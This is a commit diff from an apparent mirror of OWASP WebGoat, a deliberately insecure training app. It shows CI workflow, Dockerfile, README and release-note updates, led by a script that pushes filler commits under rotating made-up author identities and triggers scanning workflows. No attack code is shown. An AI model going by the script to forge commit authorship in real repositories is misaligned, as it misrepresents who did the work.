DWSAuthor Five <autdwshor5@example.com>
DWSAuthor Six <autdwshor6@example.com>
DWSAuthor Seven <adwsuthor7@example.com>
DWSAuthor Eight <adwsuthor8@example.com>
DWSAuthor Nine <autdwshor9@example.com>
DWSAuthor Ten <autdwshor10@example.com>
COMMIT_COUNT: 3 # Number of commits to create
SLEEP_SECONDS: 150 # Delay between commits in seconds
TARGET_BRANCH: main # The branch to commit to and trigger workflows on
GITEA_BASE_URL: https://git.dws.rip # Replace with your Gitea instance URL
REPO_OWNER: dubey # Replace with your repository owner/organization
REPO_NAME: WebGoat # Replace with your repository name
# Define a space-separated list of workflow names to trigger
WORKFLOW_NAMES: "DDSAST DDSDS DDSCA" # Replace with the actual names of your workflows
run: |
echo "starting Create and Push Commits and Trigger Workflows step"
echo "AUTHOR_LIST content:"
# Mask sensitive content if AUTHOR_LIST were a secret, but here it's in the workflow file for debugging
# echo "$AUTHOR_LIST" | sed 's/@[^>]*>/@***/g' # Example masking
echo "reading author's list into array"
# Read authors into a Bash array using readarray
readarray -t authors <<< "$AUTHOR_LIST"
echo "finished reading author's list into array"
# Check if authors list is empty
if [ ${#authors[@]} -eq 0 ]; then
echo "Error: AUTHOR_LIST is empty or could not be parsed into an array."
exit 1
fi
# Shuffle the authors array to randomize the order
authors=($(printf "%s\n" "${authors[@]}" | shuf))
# Read workflow names into a Bash array
IFS=' ' read -r -a workflow_array <<< "$WORKFLOW_NAMES"
echo "Workflows to trigger: ${workflow_array[@]}"
echo "Starting commit creation process..."
echo "Authors available: ${#authors[@]}"
echo "Commits to create: $COMMIT_COUNT"
echo "Delay between commits: $SLEEP_SECONDS seconds"
echo "Target branch: $TARGET_BRANCH"
# Loop to create the specified number of commits
for i in $(seq 1 $COMMIT_COUNT); do
# Calculate the index for the current author, cycling through the list
author_index=$(( (i - 1) % ${#authors[@]} ))
current_author="${authors[$author_index]}"
echo "Processing author: $current_author" # Debug echo
# Extract name and email from the author string
# Assumes format "Name <email>"
author_name=$(echo "$current_author" | sed -E 's/^(.*) <.*>$/\1/')
author_email=$(echo "$current_author" | sed -E 's/^.* <(.*)>$/\1/')
echo "Extracted name: $author_name, email: $author_email" # Debug echo
echo "--- Creating commit $i of $COMMIT_COUNT by $author_name ---"
# Configure git user for this specific commit
git config user.name "$author_name"
git config user.email "$author_email"
# Create a dummy change: append current timestamp and author to a file
# This ensures there's always something to commit
echo "$(date): Commit $i by $author_name" >> fake_commit_log.txt
# Stage the changes
git add fake_commit_log.txt
# Commit the changes
git commit -m "Automated commit $i by $author_name"
# Push the commit to the target branch
# Use --set-upstream origin $TARGET_BRANCH on the first push if needed
echo "Pushing commit..."
git push origin HEAD:$TARGET_BRANCH
echo "Commit $i pushed successfully."
# --- Trigger the other workflows after each successful push ---
echo "Triggering specified workflows on branch '$TARGET_BRANCH' for commit $i..."
# Loop through the list of workflow names and trigger each one
for workflow_name in "${workflow_array[@]}"; do
echo "Attempting to trigger workflow: $workflow_name"
# Construct the API URL
API_URL="${GITEA_BASE_URL}/api/v1/repos/${REPO_OWNER}/${REPO_NAME}/actions/workflows/${workflow_name}/dispatches"
# Use curl to send the API request
# Requires a GITEA_TOKEN with write:actions or api scope
curl -X POST \
-H "Authorization: Bearer ${{ secrets.GLOBAL_KEY }}" \
-H "Content-Type: application/json" \
-d '{"ref": "'"$TARGET_BRANCH"'"}' \
"$API_URL"
echo "Workflow trigger request sent for workflow '$workflow_name' for commit $i."
done
echo "Finished triggering workflows for commit $i."
# --- End Trigger ---
# Wait for the specified delay before the next commit, unless it's the last one
if [ $i -lt $COMMIT_COUNT ]; then
echo "Waiting for $SLEEP_SECONDS seconds before the next commit..."
sleep $SLEEP_SECONDS
fi
done
echo "Finished creating $COMMIT_COUNT commits and triggering workflows."

2
.github/FUNDING.yml vendored
View File

@ -1 +1 @@
custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat
custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

View File

@ -1,7 +1,14 @@
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "daily"
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "maven"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"

54
.github/workflows/branchbuild.txt vendored Normal file
View File

@ -0,0 +1,54 @@
name: "Branch build"
on:
push:
branches:
- "*"
- "!main"
jobs:
branch-build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ]
java-version: [ 21 ]
steps:
- uses: actions/checkout@v4
- name: Set up JDK ${{ matrix.java-version }}
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: ${{ matrix.java-version }}
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven
run: mvn --no-transfer-progress verify
- name: "Set up QEMU"
if: runner.os == 'Linux'
uses: docker/setup-qemu-action@v2.2.0
- name: "Set up Docker Buildx"
if: runner.os == 'Linux'
uses: docker/setup-buildx-action@v2
- name: "Verify Docker WebGoat build"
if: runner.os == 'Linux'
uses: docker/build-push-action@v5.1.0
with:
context: ./
file: ./Dockerfile
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Verify Docker WebGoat desktop build"
uses: docker/build-push-action@v5.1.0
if: runner.os == 'Linux'
with:
context: ./
file: ./Dockerfile_desktop
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

View File

@ -1,60 +1,51 @@
name: "Pull requests build"
name: "Main / Pull requests build"
on:
pull_request:
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
branches: [ main ]
push:
branches:
- main
jobs:
pr-build:
if: >
github.event_name == 'pull_request' && !github.event.pull_request.draft && (
github.event.action == 'opened' ||
github.event.action == 'reopened' ||
github.event.action == 'synchronize'
)
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ]
pre-commit:
name: Pre-commit check
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up JDK 17
uses: actions/setup-java@v3
- name: Checkout git repository
uses: actions/checkout@v4.1.6
- name: Setup python
uses: actions/setup-python@v5
with:
python-version: "3.9"
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.2.5
java-version: '23'
- name: Pre-commit checks
uses: pre-commit/action@v3.0.1
- name: pre-commit-c-lite
uses: pre-commit-ci/lite-action@v1.1.0
if: always()
build:
runs-on: ${{ matrix.os }}
needs: [ pre-commit ]
strategy:
fail-fast: true
matrix:
os: [ windows-latest, ubuntu-latest, macos-13 ]
max-parallel: 1
steps:
- uses: actions/checkout@v4.1.6
- name: Set up JDK 23
uses: actions/setup-java@v4.2.1
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
distribution: 'temurin'
java-version: 23
architecture: x64
cache: 'maven'
- name: Build with Maven
run: mvn --no-transfer-progress verify
- name: "Set up QEMU"
if: runner.os == 'Linux'
uses: docker/setup-qemu-action@v2.1.0
- name: "Set up Docker Buildx"
if: runner.os == 'Linux'
uses: docker/setup-buildx-action@v2
- name: "Verify Docker WebGoat build"
if: runner.os == 'Linux'
uses: docker/build-push-action@v4.0.0
with:
context: ./
file: ./Dockerfile
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Verify Docker WebGoat desktop build"
uses: docker/build-push-action@v4.0.0
if: runner.os == 'Linux'
with:
context: ./
file: ./Dockerfile_desktop
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

View File

@ -8,24 +8,20 @@ jobs:
if: github.repository == 'WebGoat/WebGoat'
name: Release WebGoat
runs-on: ubuntu-latest
permissions:
contents: write
environment:
name: release
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: Set up JDK 17
uses: actions/setup-java@v3
- name: Set up JDK 23
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
java-version: 23
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.2.5
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2
cache: 'maven'
- name: "Set labels for ${{ github.ref }}"
run: |
@ -44,7 +40,7 @@ jobs:
files: |
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: |
## Version ${{ steps.tag.outputs.tag }}
## Version ${{ github.ref_name }}
### New functionality
@ -53,8 +49,8 @@ jobs:
### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
## Contributors
@ -72,26 +68,26 @@ jobs:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: "Set up QEMU"
uses: docker/setup-qemu-action@v2.1.0
uses: docker/setup-qemu-action@v3.6.0
with:
platforms: all
- name: "Set up Docker Buildx"
uses: docker/setup-buildx-action@v2
uses: docker/setup-buildx-action@v3
- name: "Login to dockerhub"
uses: docker/login-action@v2.1.0
uses: docker/login-action@v3.4.0
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push WebGoat"
uses: docker/build-push-action@v4.0.0
uses: docker/build-push-action@v6.16.0
with:
context: ./
file: ./Dockerfile
push: true
platforms: linux/amd64, linux/arm64, linux/arm/v7
platforms: linux/amd64, linux/arm64
tags: |
webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat:latest
@ -99,12 +95,12 @@ jobs:
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Build and push WebGoat desktop"
uses: docker/build-push-action@v4.0.0
uses: docker/build-push-action@v6.16.0
with:
context: ./
file: ./Dockerfile_desktop
push: true
platforms: linux/amd64, linux/arm64, linux/arm/v7
platforms: linux/amd64, linux/arm64
tags: |
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat-desktop:latest
@ -116,14 +112,15 @@ jobs:
needs: [ release ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Set up JDK 17
uses: actions/setup-java@v3
- name: Set up JDK 23
uses: actions/setup-java@v4
with:
java-version: 17
distribution: 'temurin'
java-version: 23
architecture: x64
- name: Set version to next snapshot
@ -131,7 +128,7 @@ jobs:
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
- name: Push the changes to new branch
uses: devops-infra/action-commit-push@v0.9.2
uses: devops-infra/action-commit-push@v0.10.0
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
add_timestamp: true
@ -139,9 +136,8 @@ jobs:
force: false
- name: Create PR
uses: devops-infra/action-pull-request@v0.5.5
uses: devops-infra/action-pull-request@v0.6.0
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
title: ${{ github.event.commits[0].message }}
target_branch: main

View File

@ -1,65 +0,0 @@
name: "UI-Test"
on:
pull_request:
paths-ignore:
- 'LICENSE'
- 'docs/**'
push:
tags-ignore:
- 'v*'
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
jobs:
build:
runs-on: ubuntu-latest
# display name of the job
name: "Robot framework test"
steps:
# Uses an default action to checkout the code
- uses: actions/checkout@v3
# Uses an action to add Python to the VM
- name: Setup Pyton
uses: actions/setup-python@v4
with:
python-version: '3.7'
architecture: x64
# Uses an action to add JDK 17 to the VM (and mvn?)
- name: set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
- name: Cache Maven packages
uses: actions/cache@v3.2.5
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- uses: BSFishy/pip-action@v1
with:
packages: |
robotframework
robotframework-SeleniumLibrary
webdriver-manager
- name: Run with Maven
run: mvn --no-transfer-progress spring-boot:run &
- name: Wait to start
uses: ifaxity/wait-on-action@v1
with:
resource: http://127.0.0.1:8080/WebGoat
- name: Test with Robotframework
run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
# send report to forks only due to limits on permission tokens
- name: Send report to commit
if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
uses: joonvena/robotframework-reporter-action@v2.1
with:
gh_access_token: ${{ secrets.GITHUB_TOKEN }}
report_path: 'robotreport'

View File

@ -10,7 +10,7 @@ jobs:
if: github.repository == 'WebGoat/WebGoat'
runs-on: ubuntu-latest
steps:
- uses: actions/first-interaction@v1.1.1
- uses: actions/first-interaction@v1.3.0
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

8
.gitignore vendored
View File

@ -39,7 +39,6 @@ UserDatabase.mv.db
webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props
webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom
webgoat-lessons/**/target
**/*.jar
**/.DS_Store
webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
@ -56,4 +55,9 @@ TestClass.class
**/*.flattened-pom.xml
/.gitconfig
webgoat.gitconfig
webgoat.gitconfig
node_modules/
/test-results/
/playwright-report/
/blob-report/
/playwright/.cache/

BIN
.mvn/wrapper/maven-wrapper.jar vendored Normal file

Binary file not shown.

View File

@ -1,2 +1,2 @@
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.1/apache-maven-3.8.1-bin.zip
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar

28
.pre-commit-config.yaml Normal file
View File

@ -0,0 +1,28 @@
ci:
autofix_commit_msg: |
[pre-commit.ci] auto fixes from pre-commit.com hooks
autofix_prs: false # managed in the action step
autoupdate_branch: ""
autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
autoupdate_schedule: weekly
skip: []
submodules: false
repos:
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.4.0
hooks:
- id: check-yaml
- id: end-of-file-fixer
exclude: ^(README.md|CREATE_RELEASE.md)
- id: trailing-whitespace
- repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
rev: v9.5.0
hooks:
- id: commitlint
stages: [commit-msg]
- repo: https://github.com/ejba/pre-commit-maven
rev: v0.3.4
hooks:
- id: maven
args: [ 'clean compile' ]
- id: maven-spotless-apply

View File

@ -3,6 +3,7 @@
[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
This document describes how you can contribute to WebGoat. Please read it carefully.
@ -41,6 +42,19 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
### Write a good commit message
* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
- fix:
- feat:
- build:
- chore:
- ci:
- docs:
- refactor:
- test:
Using this style of commits makes it possible to create our release notes automatically.
* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.

View File

@ -1,6 +1,9 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
Copyright (c) 2002 - $today.year Bruce Mayhew
SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - 2016 Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
@ -16,4 +19,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

View File

@ -8,13 +8,19 @@ and 2023.01 in the `pom.xml`.
### Release notes:
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
committers.
committers. In order to fetch the list of issues included use:
`git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
```
mvn versions:set
mvn versions:set
<< update release notes >>
mvn verify
git commit ....
git tag v2023.01
git tag v2023.01
git push --tags
git push
```
After the release has been tagged and the build process is done. The release notes should be updated in the GitHub
release page.

View File

@ -1,6 +1,8 @@
FROM docker.io/eclipse-temurin:17-jre-focal
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
MAINTAINER "WebGoat team"
# We need JDK as some of the lessons needs to be able to compile Java code
FROM docker.io/eclipse-temurin:23-jdk-noble
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
RUN \
useradd -ms /bin/bash webgoat && \
@ -14,6 +16,8 @@ COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
EXPOSE 8080
EXPOSE 9090
ENV TZ=Europe/Amsterdam
WORKDIR /home/webgoat
ENTRYPOINT [ "java", \
"-Duser.home=/home/webgoat", \
@ -27,9 +31,10 @@ ENTRYPOINT [ "java", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"-Drunning.in.docker=true", \
"-Dwebgoat.host=0.0.0.0", \
"-Dwebwolf.host=0.0.0.0", \
"-Dwebgoat.port=8080", \
"-Dwebwolf.port=9090", \
"-jar", "webgoat.jar" ]
"-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
HEALTHCHECK --interval=5s --timeout=3s \
CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1

View File

@ -1,6 +1,6 @@
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
MAINTAINER "WebGoat team"
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
WORKDIR /config
@ -10,20 +10,38 @@ COPY config/desktop/start_zap.sh /config/start_zap.sh
COPY config/desktop/WebGoat.txt /config/Desktop/
RUN \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
tar zfxv ZAP_2.12.0_Linux.tar.gz && \
rm -rf ZAP_2.12.0_Linux.tar.gz && \
curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
tar zfxv OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
rm -rf OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
apt-get update && \
apt-get --yes install vim nano gzip
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo ${ARCH}
RUN \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
tar zfxv ZAP_2.15.0_Linux.tar.gz && \
rm -rf ZAP_2.15.0_Linux.tar.gz
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo "oeps == ${ARCH}==" && \
curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
tar zfxv java.tar.gz && \
rm -rf java.tar.gz && \
chmod +x /config/start_webgoat.sh && \
chmod +x /config/start_zap.sh && \
apt-get update && \
apt-get --yes install vim nano && \
echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
mv /config/jdk-23.0.1+11-jre /config/java-jdk && \
echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
ENV JAVA_HOME=/config/java-jdk
WORKDIR /config/Desktop

7
FAQ.md Normal file
View File

@ -0,0 +1,7 @@
# FAQ for development
## Introduction
### Integration tests fail
Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.

View File

@ -1,6 +1,9 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
Copyright (c) 2002 - 2019 Bruce Mayhew
SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - $today.year Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
@ -16,4 +19,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

View File

@ -1,11 +1,12 @@
# WebGoat 8: A deliberately insecure Web Application
# WebGoat: A deliberately insecure Web Application
[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
[![java-jdk](https://img.shields.io/badge/java%20jdk-23-green.svg)](https://jdk.java.net/)
[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
# Introduction
@ -43,19 +44,27 @@ Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
```
If you want to reuse the container, give it a name:
For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
E.g.
```shell
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
```
As long as you don't remove the container you can use:
If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
you can use custom host entries. For example:
```shell
docker start webgoat
127.0.0.1 www.webgoat.local www.webwolf.local
```
This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
Then you can run the container with:
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
```
Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
## 2. Run using Docker with complete Linux Desktop
@ -70,16 +79,27 @@ docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell
java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
export TZ=Europe/Amsterdam # or your timezone
java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
```
Click the link in the log to start WebGoat.
### 3.1 Running on a different port
If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
```shell
java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
```
For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
## 4. Run from the sources
### Prerequisites:
* Java 17
* Java 23
* Your favorite IDE
* Git, or Git support in your IDE
@ -131,9 +151,10 @@ For specialist only. There is a way to set up WebGoat with a personalized menu.
For instance running as a jar on a Linux/macOS it will look like this:
```Shell
export TZ=Europe/Amsterdam # or your timezone
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar target/webgoat-2023.3-SNAPSHOT.jar
java -jar target/webgoat-2023.8-SNAPSHOT.jar
```
Or in a docker run it would (once this version is pushed into docker hub) look like this:

View File

@ -16,19 +16,19 @@ The following steps are required when you want to add a new language
1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
1. Add the parts for showing the flag and providing the correct value for the flag= parameter
2.
3. Add a flag image to src/main/resources/webgoat/static/css/img
2.
2. Add a flag image to src/main/resources/webgoat/static/css/img
1. See the main_new.html for a link to download flag resources
4. Add a welcome page to the introduction lesson
3. Add a welcome page to the introduction lesson
1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
5. Translate the main labels
4. Translate the main labels
1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
2. Translate the label values
6. Optionally translate lessons by
5. Optionally translate lessons by
1. Adding lang specifc adoc files in documentation folder of the lesson
2. Adding WebGoatLabels.properties of a specific language if you want to
7. Run mvn clean to see if the LabelAndHintIntegration test passes
8. Run WebGoat and verify that your own language and the other languages work as expected
6. Run mvn clean to see if the LabelAndHintIntegration test passes
7. Run WebGoat and verify that your own language and the other languages work as expected
If you only want to translate more for a certain language, you only need to do step 4-8

View File

@ -1,32 +1,189 @@
# WebGoat release notes
## Version 2025.3
### 🐞 Bug fixes
- Changed URLs imply other exclusion filters for ZAP (#2052)
- XSS lesson stage 12 (2 issues) (#1178)
### 🔄 Technical tasks
- bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
- bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
## Version 2025.2
### 🐞 Bug fixes
- Fix SQL advanced lesson assignment 5 (#2047)
## Version 2025.1
### 🚀 New functionality
- Introduce Playwright for UI testing
- Refactoring of core code
### 🐞 Bug fixes
- Introduce assignment progress (#2043)
- Add test case for multiple users solving lessons (#2043)
- Register user while already logged in as other user. (#2042)
- Small updates and improvements in HTTP Basic lesson (#2024)
- Improve HTTP basics lesson
- Solve compiler warnings
- Cleanup attack result and builder
- Format all code according to SPDX
- Fixed one invalid solution about CSRF attack (#2010)
- Reset a lesson no longer removes all assignments
- Hint labels showing default text regardless of localization (#1965)
- Automatically solve XSS mitigation (#1957)
- Remove implicit context path guessing (#1956)
- JWT kid/jku lessons (#1949)
- Fix password reset lesson (#1941)
- Fix passing command line arguments (#1933)
- Use banners correctly
- Show boolean operators priority on `where` (#1902)
- Remove WebGoat session object (#1929)
- Reset form and quiz color on reset lesson (#1903)
- XSS lesson typo
- Copying file using `transferTo` sometimes fails. (#1862)
- Fix report card (#1845)
- Success if only Smith earn most salary (#1744)
- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
- Move CSRF to A3 (#1776)
- Fix typo in SQLi blind case
- Use $ instead of jQuery which is undefined (#1736)
- Fix hidden links in MissingFunctionAC.html. (#1710)
### 🔄 Technical tasks
- Lots of dependency updates
## Contributors
Special thanks to the following contributors providing us with a pull request:
- François Capon
- GoogTech HackHuang
- Peter Potrowl
- cap-dev0x
- Benjamin Mouncer
- Jeong Rok Suh
- Rui Melo
- Vandeputte Brice
## Version 2023.8
### 🚀 New functionality
- Consistent environment values and url references (#1677)
- Show directly requested file in requests overview
- Show creating time in file upload overview
### 🐞 Bug fixes
- Fix startup message (#1687)
- Fix/state of software supply chain links (#1683)
- Fix WebWolf UI (#1686)
### 🔄 Technical tasks
- bump actions/setup-java from 3 to 4 (#1690)
- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
